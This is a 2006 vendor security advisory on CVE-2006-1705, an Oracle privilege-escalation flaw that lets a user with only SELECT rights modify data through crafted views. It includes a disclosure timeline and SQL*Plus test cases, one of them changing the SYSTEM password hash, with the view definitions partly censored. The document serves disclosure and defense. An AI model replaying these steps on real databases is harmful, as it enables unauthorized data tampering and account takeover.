Red-Database-Security GmbH is specialized in Oracle Security

Repscan 2.5
Hedgehog Enterprise
Checkpwd (free)

Oracle Audit / Hardening
Security Training

Oracle Security Blog
Published AlertsRSS Published Alerts
Upcoming AlertsRSS Published Alerts
Patch Information
Oracle Fact Sheets

News & Events



Search Red-Database-Security
Read-only user can modify data

Name Read-only user can modify data
Systems Affected Oracle Database 7.3 - (any platform)
Severity High Risk (unpatched)
Category Privilege Escalation
Vendor URL
Author Alexander Kornbrust (ak at
Date 11 April 2006 (V 1.0.7)
Founder of this vulnerability Dr. Christian Kleinewächter and Swen Thümmler from infinity3 GmbH (advisory)
Oracle Bugno. 7185031
CVE CVE-2006-1705

Thursday 6th April 2006, Oracle released a note on the Oracle knowledgebase Metalink with details about an unfixed security vulnerability (=0day) and a working test case (=exploit code) which effects all versions of Oracle from to (but all versions since 7.3 are affected). This note "363848.1 – A User with SELECT Object Privilege on Base Tables Can Delete Rows from a View" was available last week to Metalink customers. The note was also displayed in the daily headlines section of the Metalink and sent to subscribers of the daily headline section.

That’s why this information can be assumed as public knowledge and DBAs/Developers which missed the note on Metalink should know this vulnerability in order to avoid / mitigate the risk (if possible) whilst waiting for a patch from Oracle.

After noticing the note, I informed Oracle secalert that releasing such information on Metalink is not a wise idea. Oracle normally criticises individuals and/or companies for releasing information about Oracle vulnerabilities (like David Litchfield from NGSSoftware for releasing information an ever not fixed bug in mod_plsql gateway). In this case, not only Oracle released detailed information on the vulnerability; they also included the working exploit code on the Metalink.

In an interview, the Oracle CSO Mary Ann Davidson stated: “I’ve known customers to terminate contracts … for releasing exploit code… you might get applause from hackers… but business will not pay you to slit their throats. With knowledge comes responsibility.

After my email, Oracle removed the note from Metalink.

In Oracle versions (7.3- exists an unpatched vulnerability which allows users with “SELECT” only privileges on a base table to insert/update/delete data. The inital vulnerability required the privilege "CREATE VIEW". After a reporting on Andrew Max Blog it seems that the "CREATE VIEW" privilege is NOT needed. It seems that ALL versions from 7.3 - are affected. I could reproduce the problem on Oracle 8i..

The severity of this problem is critical and can eliminate the entire role concept because in well designed applications there is normally a read-only role for low-privilege users (e.g. reporting or external auditors).

Patch Information
Currently there are no patches/workarounds available. According to Oracle secalert Oracle will provide patches in a future critical patch update.
This issue is not patched in the April 2006 CPU.

Test case 1 (without the view)
The user dbsnmp has only the privilege "SELECT ANY DICTIONARY". dbsnmp normally can't update tables in the data dictionary. Exploiting this bug allows the modification of the SYSTEM password
C:\>sqlplus dbsnmp/dbsnmp

SQL*Plus: Release - Production on Thu Apr 11 12:20:27 2006
Copyright (c) 1982, 2005, Oracle. All rights reserved.

Connected to:
Oracle Database 10g Enterprise Edition Release - Production With the Partitioning, OLAP and Data Mining options

SQL> select * from v$version;

Oracle Database 10g Enterprise Edition Release - Prod PL/SQL Release - Production
CORE Production
TNS for 32-bit Windows: Version - Production NLSRTL Version - Production

SQL> -- (as expected)
SQL> update sys.user$ set password='BC903FAEBB69EFBF' where name='SYSTEM';
update sys.user$ set password='BC903FAEBB69EFBF' where name='SYSTEM'
ERROR at line 1:
ORA-01031: insufficient privileges

SQL> -- create a (specially crafted) custom view
SQL> create or replace view e as select [...censored...];

View created.

SQL> -- Now we change the password of the user SYSTEM to ALEX
SQL> update e set password='BC903FAEBB69EFBF' where name ='SYSTEM';

1 row updated.

Test case 1 (without the view from Jens)
set echo on
connect / as sysdba

create user tableowner
identified by abcd123
default tablespace tools
quota unlimited on tools;

grant create session, create table to tableowner;

create user readuser
identified by abcd123
default tablespace tools;

grant create session, create view to readuser;

connect tableowner/abcd123

create table t1
(id number primary key);
insert into t1 values (1);
grant select on t1 to readuser;

connect readuser/abcd123

create view del_view as

select * from del_view;

delete from del_view;
select * from del_view;

insert into del_view values values (1);
select * from del_view;

update del_view set id=99;
select * from del_view;

connect / as sysdba
drop user tableowner cascade;
drop user readuser cascade;

Workarounds / Risk Mitigation
No workarounds available.

Special thanks to Jens Flasche who made Red-Database-Security aware of the Metalink note and for the first analysis + additional test cases. Also to Dr. Christian Kleinewächter and Swen Thümmler (original reporter), Niall Litchfield (reported that 8i is vulnerable too) and Andrew Max (view is not needed).

Related bugs
2002 there was a similar bug in Oracle 9i Rel.1. It was possible to escalate privileges via an ANSI outer join. It seems that Oracle introduced this bug with Oracle 9i Rel. 1.

24-feb-2006 Dr. Christian Kleinewächter and Swen Thümmler from Infinity3 GmbH found and reported this bug to Oracle secalert
6-apr-2006 Oracle published vulnerability + test case on Metalink without mentioning the bug reporters
6-apr-2006 Oracle secalert informed about the note in Metalink
7-apr-2006 Note removed from Metalink
10-apr-2006 Advisory released
11-apr-2006 Advisory enhanced
18-jul-2006 Advisory enhanced

1.00 - 10-apr-2006 - Initial version
1.01 - 10-apr-2006 - Credits for the original founder added.
1.02 - 11-apr-2006 - Testcase for user dbsnmp modified. Primary key is not necessary for exploitation. Thanks to Michael Dimitriadis for the hint.
1.03 - 11-apr-2006 - tested - also vulnerable (still used for iAS infrastructure database)
1.04 - 11-apr-2006 - Minor corrections
1.05 - 21-apr-2006 - Advisory from Infinity-3 added
1.06 - 21-apr-2006 - 8i as vulnerable added - Thanks to Niall Litchfield
1.07 - 25-apr-2006 - Views are not necessary to exploit this vulnerability - Thanks to Andrew Max
1.08 - 18-jul-2006 - Norbert Keuler from Unilog informed me that granting select privileges via roles does not help against this vulnerability.

© 2006 by Red-Database-Security GmbH - last update 18-jul-2006